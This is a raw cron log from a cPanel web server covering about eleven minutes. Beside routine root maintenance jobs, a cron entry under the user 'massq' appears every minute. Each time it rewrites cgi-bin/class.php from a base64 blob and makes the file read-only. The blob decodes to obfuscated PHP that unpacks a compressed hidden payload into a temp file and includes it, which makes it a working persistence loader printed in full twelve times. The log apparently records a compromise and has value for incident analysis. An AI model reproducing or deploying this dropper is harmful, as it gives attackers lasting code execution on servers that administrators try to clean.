Sep 11 16:56:01 server CROND[4571]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:56:01 server CROND[4572]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:57:01 server CROND[4940]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:57:01 server CROND[4941]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 16:57:01 server CROND[4943]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:57:01 server CROND[4942]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:58:01 server CROND[5320]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:58:01 server CROND[5321]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:58:01 server CROND[5322]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:59:01 server CROND[5698]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:59:01 server CROND[5699]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:59:01 server CROND[5700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:00:01 server CROND[6086]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 17:00:01 server CROND[6088]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 17:00:01 server CROND[6092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:00:01 server CROND[6090]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 17:00:01 server CROND[6096]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 17:00:01 server CROND[6091]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:00:01 server CROND[6095]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:00:01 server CROND[6098]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 11 17:00:01 server CROND[6093]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 17:01:01 server CROND[7009]: (root) CMD (run-parts /etc/cron.hourly)
Sep 11 17:01:01 server CROND[7011]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:01:01 server CROND[7010]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:01:01 server CROND[7012]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:01:01 server run-parts(/etc/cron.hourly)[7009]: starting 0anacron
Sep 11 17:01:01 server run-parts(/etc/cron.hourly)[7033]: finished 0anacron
Sep 11 17:02:01 server CROND[7389]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:02:01 server CROND[7390]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:02:01 server CROND[7391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:03:01 server CROND[7760]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:03:01 server CROND[7762]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:03:01 server CROND[7761]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:04:01 server CROND[8197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:04:01 server CROND[8198]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:04:01 server CROND[8199]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:05:01 server CROND[8579]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 11 17:05:01 server CROND[8580]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 17:05:01 server CROND[8586]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 17:05:01 server CROND[8584]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 17:05:01 server CROND[8585]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 17:05:01 server CROND[8589]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:05:01 server CROND[8592]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:05:01 server CROND[8590]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 17:05:01 server CROND[8587]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:06:01 server CROND[9520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:06:01 server CROND[9519]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:06:01 server CROND[9521]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:07:01 server CROND[9885]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:07:01 server CROND[9886]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 17:07:01 server CROND[9884]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
